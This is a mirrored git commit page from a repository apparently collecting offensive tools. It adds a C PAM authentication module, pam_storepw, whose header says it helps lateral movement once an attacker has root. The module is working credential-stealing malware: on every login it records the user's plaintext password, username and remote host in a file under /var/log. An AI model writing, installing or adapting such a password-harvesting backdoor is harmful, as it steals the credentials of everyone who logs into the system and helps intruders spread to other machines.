mirror of
https://github.com/0xdade/HackerStuff.git
synced 2025-10-29 16:59:27 +00:00
PAM module to store passwords
This commit is contained in:
parent
957783fa79
commit
203791bef5
136
Get-Passwords/pam_storepw/pam_storepw.c
Normal file
136
Get-Passwords/pam_storepw/pam_storepw.c
Normal file
@ -0,0 +1,136 @@
|
|||||||
|
/*
|
||||||
|
Source: http://www.adeptus-mechanicus.com/codex/logsshp/logsshp.html
|
||||||
|
Requires: pam-devel
|
||||||
|
NOTE: You need root level access to modify pam. This is NOT for privesc, but can help lateral movement
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LINUX
|
||||||
|
#include <security/pam_appl.h>
|
||||||
|
#endif /* LINUX */
|
||||||
|
|
||||||
|
#define PAM_SM_AUTH
|
||||||
|
#include <security/pam_modules.h>
|
||||||
|
|
||||||
|
#include <syslog.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/file.h>
|
||||||
|
|
||||||
|
#define _XOPEN_SOURCE
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#define PWDIR_PARAM "pwdir"
|
||||||
|
#define PWDIR_DEFAULT "/var/log"
|
||||||
|
#define PWDIR_LEN 256
|
||||||
|
#define BUF_MAX 256
|
||||||
|
|
||||||
|
#define DEBUG
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
# define D(a) a;
|
||||||
|
#else
|
||||||
|
# define D(a) {}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* logging function ripped from pam_listfile.c */
|
||||||
|
static void _pam_log(int err, const char *format, ...) {
|
||||||
|
va_list args;
|
||||||
|
|
||||||
|
va_start(args, format);
|
||||||
|
openlog("pam_storepw", LOG_CONS|LOG_PID, LOG_AUTH);
|
||||||
|
vsyslog(err, format, args);
|
||||||
|
va_end(args);
|
||||||
|
closelog();
|
||||||
|
}
|
||||||
|
|
||||||
|
/* expected hook for auth service */
|
||||||
|
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,
|
||||||
|
int argc, const char **argv) {
|
||||||
|
int pcnt,
|
||||||
|
fd,
|
||||||
|
len,
|
||||||
|
res,
|
||||||
|
check;
|
||||||
|
char *pwdir=0,
|
||||||
|
*pword,
|
||||||
|
*uname,
|
||||||
|
*remhst,
|
||||||
|
*file,
|
||||||
|
buffer[BUF_MAX];
|
||||||
|
FILE *pwfile;
|
||||||
|
|
||||||
|
for(pcnt=0;pcnt<argc;pcnt++) {
|
||||||
|
if (strcmp(argv[pcnt], PWDIR_PARAM) == 0) {
|
||||||
|
if (pcnt+1 < argc)
|
||||||
|
pwdir=strndup(argv[++pcnt], PWDIR_LEN);
|
||||||
|
} else if (strncmp(argv[pcnt], PWDIR_PARAM "=", sizeof(PWDIR_PARAM "=")-1) == 0)
|
||||||
|
pwdir=strndup(argv[pcnt]+sizeof(PWDIR_PARAM), PWDIR_LEN);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!pwdir)
|
||||||
|
pwdir=strndup(PWDIR_DEFAULT, PWDIR_LEN);
|
||||||
|
|
||||||
|
pam_get_item(pamh, PAM_AUTHTOK, (void *) &pword);
|
||||||
|
pam_get_item(pamh, PAM_USER, (void*) &uname);
|
||||||
|
pam_get_item(pamh, PAM_RHOST, (void*) &remhst);
|
||||||
|
if (!pword || !uname) {
|
||||||
|
_pam_log(LOG_ERR,"no password or user to write - got stacked wrong ?");
|
||||||
|
return PAM_AUTHINFO_UNAVAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
file=(char *) malloc(strlen(uname) + strlen(pwdir) + 2);
|
||||||
|
if (!file) {
|
||||||
|
_pam_log(LOG_ERR,"malloc failed");
|
||||||
|
return PAM_AUTHINFO_UNAVAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
sprintf(file, "%s/passwords", pwdir);
|
||||||
|
/* D(_pam_log(LOG_DEBUG, "writing to %s", file)); */
|
||||||
|
|
||||||
|
if ((fd=open(file, O_RDWR|O_APPEND|O_CREAT, 0600)) == -1) {
|
||||||
|
_pam_log(LOG_ERR,"failed to open pw file");
|
||||||
|
return PAM_AUTHINFO_UNAVAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
len=snprintf(buffer, BUF_MAX-1, "host = %s : username = %s : password = %s\n",
|
||||||
|
remhst, uname, pword);
|
||||||
|
|
||||||
|
res=write(fd, buffer, len);
|
||||||
|
|
||||||
|
if (len != res) {
|
||||||
|
_pam_log(LOG_ERR,"failed to write pw to file");
|
||||||
|
close(fd);
|
||||||
|
return PAM_AUTHINFO_UNAVAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
close(fd);
|
||||||
|
|
||||||
|
return PAM_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* another expected hook */
|
||||||
|
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags,
|
||||||
|
int argc, const char **argv)
|
||||||
|
{
|
||||||
|
return PAM_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef PAM_STATIC
|
||||||
|
struct pam_module _pam_listfile_modstruct = {
|
||||||
|
"pam_pwdfile",
|
||||||
|
pam_sm_authenticate,
|
||||||
|
pam_sm_setcred,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
};
|
||||||
|
#endif
|
||||||
Loading…
x
Reference in New Issue
Block a user